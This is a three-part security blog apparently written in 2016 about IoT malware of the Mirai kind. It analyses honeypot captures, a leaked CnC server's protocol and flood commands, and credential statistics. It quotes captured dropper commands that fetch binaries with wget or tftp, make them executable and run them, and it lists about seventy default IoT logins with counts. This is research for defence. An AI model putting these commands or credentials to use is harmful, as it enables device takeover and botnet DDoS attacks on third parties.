Thursday, November 24, 2016

IoT Malware Analysis - CnC Server - Part 3

Through the information gathered inside of the binaries I began searching for unique strings on Google.  One of the unique strings that I searched for was "HTTPFLOOD GHP".  This pulled back less than 10 results and the first one was from the site hxxp://  This contained the source code for what they called "Palkia Server.c".

This particular piece of source code was found to have been leaked on 2016-11-12 09:58:05 according to the timestamp on the paste.  I have not validated that the binary in which I found the string matches up with this particular CnC Server source code.

After looking at the source code and understanding the logic, verifying there were no backdoors and other intents to infect my systems I compiled the source code on a temporary server.  Upon execution you need to specify which port it listens on for the bot connections and the number of threads it will utilize.

After you specify the port and the number of threads it begins to listen for clients.  If a client connects the first command that it sends is a command to the client to enable the scanning of other devices through telnet.

Then the server will keep in contact with the bot by sending the string "PING" every 60 seconds.  I have noticed that some bots will receive the communication at an interval as small as 15 seconds.

Through the source code you learn that the bot can send commands back to the server that are interpreted. 

From the source code you can see 3 commands that the bot can send back: PING, REPORT, and PONG.  If the bot sends PING then the CnC server will respond with PONG.  If the bot sends "REPORT " + up to 2048 characters it will store the sent information in a file called telnet.txt.  If PONG is sent it will do nothing but continue in the loop.  Then if anything sent to the CnC does not match these 3 commands it will output it to stdout on the CnC Server with "buf:" appended to the beginning of it.

The other side of this source code is running an administration console so the bots can be controlled.  You can see in the source code that the server by default runs on port 777.

Appears that if you connect to this port you are prompted for a username.  The username and eventually password is parsed out of a file called savage.txt.  They are formatted with username, a space, and then the password.

I created this file with a test user and then a test2 user with a respective password following.  After feeling I understood the logic of the application I compiled it and ran it on a temporary server.  This allowed me to connect with a username and password.  Then from the source code you learn you can send the command "!* HELP" and it will display a quick help screen as shown below.

From the above screenshot you can see that the Attack Commands instruct the bots to conduct UDP, TCP or HTTP floods.  The KILLATTK instructs the bots to stop the attacks that they are instructed to conduct.  As someone is in the CnC Server their commands are broadcast to the bots with exception to a few.

As commands are executed in the administration side of the server they are saved to a file called server.log.  

I have placed the source code for the palkia server on my github page for further research along with the telnet emulator and a botEmulator.

Have a Happy Thanksgiving! Enjoy the Turkey!!

Wednesday, November 16, 2016

IoT Malware Analysis - Observations and Statistics - Part 2

On the previous post that I published I utilized a python program to emulate a telnet server, captured commands that were sent to the telnet server, and then utilized those commands to research the binaries that were collected.

In this post I am going to provide information on what happened when 2 of my servers became infected with the malware, statistics on the username and password combinations used, and statistics of which IP Addresses I observed the most attempting to login to my telnet server.

The Mirai botnet gains its popularity in causing Distributed Denial of Service (DDoS) attacks.  This is exactly what happened to both of my honeypot servers that were infected.

As you can see in the above screenshot upon initial infection of the server you see the command "SCANNER ON".  This command causes the infected device to begin scanning for other IP Addresses at random to see if port 23 is open.  If the device can be reached over port 23 then a basic script of logging in, sending 3-4 commands and then the commands cause the device to become infected as described in the previous post.

After a short period of time the infected server stopped scanning, I observed the following commands come from 2 different honeypots that were infected:

The first instance sent traffic to over UDP to port 80.  The second instance sent traffic to over UDP to port 3074.  In the first command you notice the number 65500.  As you can see in the below image it filled the packets with 65,500 random ASCII characters and sent them to the receiving IP.

The second instance you will notice a 0.  This sent packets that were empty to the IP address.

Both instances where the infected servers were utilized I rebooted them as soon as I observed them being utilized in a denial of service attack, however that still provided me with almost 4 GB of pcap data.  To take a quick tangent, I utilized tshark to carve the pcap files.  Below are a few commands that I used:

1. "tshark -r output.pcap -T fields -e ip.src  -e ip.dst -e tcp.dstport | sort | uniq -c | sort -n > freq_analysis.txt" - This command would read the source IP Address, destination IP Addresses and the destination port then sort it, combine all of the duplicates with a count of the occurrences, and then sort the count of occurrences numerically.

2. "editcap -r read.pcap output.pcap 500-1000" - Due to the mass amounts of traffic generated as the host participated in a denial of service, I utilized editcap to pull out of the pcap packets 500-1000.  This was so I could get a sample of the packets being sent to the target involved in the denial of service.

I do publicly apologize to the 2 IP Addresses that were targeted from my honeypot.  I tried to shutdown the execution of the denial of service attack as soon as I observed it occurring.

Below are the usernames and passwords that I observed logging into my honeypot.  The first number is how many times the combination of the username and password appeared in the logs of my honeypot:

9637 root:xc3511
9567 root:vizxv
8532 root:admin
7897 admin:admin
6856 root:888888
5569 root:xmhdipc
5341 root:juantech
4927 support:support
4598 root:default
4393 root:
4321 root:anko
4268 root:123456
4100 root:54321
3668 root:root
3655 admin:password
3523 root:12345
2835 admin:
2822 admin:smcadmin
2730 admin:admin1234
2680 root:pass
2642 user:user
2476 root:hi3518
2367 root:1111
2208 root:password
2055 admin:1111
2022 root:666666
1742 root:1234
1538 guest:12345
1247 root:hunt5759
1230 root:GM8182
1201 root:dreambox
1201 root:7ujMko0vizxv
1118 admin:pass
1107 root:00000000
1102 root:Zte521
1089 root:klv1234
1088 service:service
1073 administrator:1234
1069 admin:54321
1062 root:jvbzd
1005 root:klv123
1001 admin:meinsm
991 supervisor:supervisor
987 ubnt:ubnt
967 root:7ujMko0admin
939 root:ikwb
916 admin:1111111
897 tech:tech
896 admin:4321
895 root:zlxx.
882 admin1:password
875 888888:888888
866 guest:guest
864 Administrator:meinsm
859 root:realtek
843 root:user
839 admin:1234
834 admin:123456
829 666666:666666
817 root:system
811 admin:12345
783 admin:7ujMko0admin
439 root:1001chin
357 user:qweasdzx
331 netgear:netgear
185 root:zlxx
169 admin:cat1029
168 realtek:realtek
150 telnet:telnet
98 root:5up
95 root:telnet
33 root:tl789
31 Admin:1234
23 cisco:cisco
19 root:admin@mymifi

Here are the most frequent IP Addresses and how many times a particular IP Address appeared in the logs:


I have collected a log entry from 2,654 IP Addresses so far in my research.  Understanding that some of these IP Addresses are dynamic and the party utilizing the IP changes frequently, I found that 758 were listening on port 23.  I found this to be interesting that of the IP Addresses 28.56% were listening on port 23.  I would think that this number would be above 60% of the scanned devices.  Also I found interesting that some of the IP Addresses that most frequently hit my botnet were not listening on port 23.

Also I conducted a host lookup on the 2,654 IP Addresses to see if they resolved to a reverse DNS name.  I utilized the command "host <ip address>":
1578 - Resolved to a reserve DNS name
73 - Directed to localhost (Blackholed)
52 - DNS connection timed out

Tuesday, November 8, 2016

IoT Malware Analysis - Botnets being created through weak credentials... - Part 1

I became curios about the spreading IoT malware through default usernames and passwords due to multiple media articles.  So I spun up a VPS server and started using a tool created by Robert David Graham called telnetlogger.  Immediately I saw the constant barrage of traffic that was being generated.  Now the next question I had was what are the commands that are being executed on these IoT devices.

I first evaluated the source code provided on the Github site for telnetlogger to see if I wanted to re-write some of it to log the commands being sent in.  I then searched around for a honeypot that would emulate a telnet server.  Then I decided to write my own in python.  It is not perfect but it accomplishes logging up to 9 commands after a successful login.  The source code can be found on my github page.

After running this telnet emulator for less than 48 hours I had logged some interesting commands that were trying to download a shell script to then pull down additional binaries that would execute and then be removed.  Below are some of the commands that were observed in the log file called outputInfo.txt.

IP:('', 61232)|U:|P:|C:cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod 777; sh; tftp -c get; chmod 777; sh; tftp -r -g; chmod 777; sh; rm -rf

IP:('', 48191)|U:|P:|C:cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget;sh;busybox tftp -r -g;sh;busybox tftp -c get;sh;busybox ftpget bin4;sh;exit

IP:('', 6057)|U:|P:|C:cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod 777; sh; tftp -c get; chmod 777; sh; tftp -r -g; chmod 777; sh; ftpget -v -u anonymous -p anonymous -P 21; sh; rm -rf

After pulling down the shell script using the wget command you can see the below commands being executed in a bash script.

As you can see it utilizes wget to download files that appear to be legitimate binaries that could be running on a linux server.  I also like the trick of using a space as a filename to hide it's presence.  It will then execute and then remove the binary if the script successfully executed.

I was curious why so many files were being downloaded and executed verses just having a couple.  I then used the Linux program called "file" to identify the file.  As you can see below each file is built for a different architecture.  "Leave no device behind..."

ELF 32-bit LSB  executable, ARM, EABI4 version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB  executable, ARM, version 1, statically linked, not stripped
ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
ELF 32-bit LSB  executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB  executable, Motorola 68020 - invalid byte order, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB  executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
ELF 32-bit MSB  executable, SPARC version 1 (SYSV), statically linked, not stripped
ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), statically linked, not stripped

Utilizing a utility called ssdeep you can see that most of this malware is similar but if you evaluate the SHA1 hashes of the files across more than 13 samples collected most of them were different.  Running strings on any of the binaries you can see the following:

This is an IP Address and port that has not been obfuscated.  This turns out to be the CnC servers address and port that the bot will connect to.  Also the parent registry of each IP Address will be listed.  After identifying this pattern the below command could be executed to find the CnC servers address and port in all of the binaries.  I will continue to update the below table as more CnC servers are found.

strings * | egrep -e "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}" | sort | uniq -c | sort -nr

     64 ARIN (Observed on 11/21, 11/22, 11/23, 11/24)
     44 RIPE  (Observed on 11/19, 11/21, 11/22, 11/24)
     30 ARIN (Observed on 11/7, 11/9, 11/16, 11/19)
     24 ARIN (Observed on 11/6, 11/9)
     24 RIPE (Observed on 11/22, 11/23, 11/24)
     22 ARIN (Observed on 11/19)
     22 RIPE (Observed on 11/21, 11/22)
     16 ARIN (Observed on 11/19, 11/20)
     12 ARIN (Observed on 11/19)
     12 ARIN (Observed on 11/20)
     12 ARIN (Observed on 11/21, 11/24)
     11 APNIC (Observed on 11/6)
     11 ARIN (Observed on 11/7)
     11 ARIN (Observed on 11/7)
     11 ARIN (Observed on 11/8)
     11 ARIN (Observed on 11/19)
     11 ARIN (Observed on 11/19)
     11 ARIN (Observed on 11/22)
     11 ARIN (Observed on 11/23)
     11 RIPE (Observed on 11/24)
     10 ARIN (Observed on 11/22)
      9 ARIN (Observed on 11/19)
      8 RIPE (Observed on 11/21)
      2 APNIC (Observed on 11/6)

The command returned the number of occurrences among the binaries that I had collected and the CnC IP Address and port.  I was curious of the communication channel that was used if the binary was executed.

With one of the x86 binaries I spun up another VPS and while running tcpdump I executed the binary.  I was expecting to observe in the packet captures a connection to an IRC channel however it connected using more of a raw connection.  I saw this behavior after infecting a couple of the VPS servers with the malware.

This is just a quick initial analysis of how the malware is spreading, propagating, executing, and communicating with it's CnC servers.  The infected devices obviously are being utilized to cause DDoS attacks and other activities of the miscreants wishes.  Also with the variety of hashes that are available with each unique variant a traditional signature based solution would be inefficient to filter this activity.  More to come but will wrap this up...

The information contained in this post is for educational purposes.  Enjoy...

Prepare, Bait, Hook, Execute and Control - Buffer Overflows

This post is the third of four that I am planning to write about social engineering specifically about phishing.  The form of phishing that...